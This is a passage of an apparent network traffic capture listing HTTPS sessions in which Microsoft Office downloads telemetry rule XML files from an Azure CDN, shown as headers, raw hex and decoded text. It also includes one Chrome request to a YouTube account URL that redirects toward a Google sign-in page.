3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:14 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:14 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 4035d6e2-a01e-0002-4602-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012314Z-1657d5bbd48vlsxxpe15ac3q7n00000002pg00000000pkud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:14 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: b6fa471e-401e-0067-43e5-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012315Z-1657d5bbd4824mj9d6vp65b6n40000000310000000008s87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:14 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08bf7a15-f01e-0020-7706-17956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012315Z-1657d5bbd48gqrfwecymhhbfm800000001pg000000005xqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:14 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:14 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 7d21ea5d-701e-0098-0502-17395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012314Z-1657d5bbd48p2j6x2quer0q028000000031g000000005cre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49850	142.250.185.142	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:14 UTC	851	OUT	GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1 Host: youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 01:23:15 UTC	1704	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary X-Content-Type-Options: nosniff Expires: Mon, 07 Oct 2024 01:23:15 GMT Date: Mon, 07 Oct 2024 01:23:15 GMT Cache-Control: private, max-age=31536000 Location: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: SAMEORIGIN Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script' Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Server: ESF Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:14 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:14 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: fbb49b00-e01e-00aa-4806-17ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012314Z-1657d5bbd48xdq5dkwwugdpzr0000000036g000000000g86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:15 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 77012b0e-b01e-0097-0bff-164f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012315Z-1657d5bbd48lknvp09v995n79000000002g0000000003u6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:15 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: a18d9b1d-601e-0002-1f03-17a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012315Z-1657d5bbd48f7nlxc7n5fnfzh000000002c000000000kuf5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:15 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: d4fd285a-d01e-005a-06ed-167fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012315Z-1657d5bbd48762wn1qw4s5sd3000000002rg000000002w88 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:15 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: c9f5ea47-201e-0071-33fe-16ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012315Z-1657d5bbd48tnj6wmberkg2xy800000002yg000000002wn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:15 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 4d5cca78-701e-0021-6ae5-163d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012315Z-1657d5bbd48wd55zet5pcra0cg00000002pg00000000r2hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
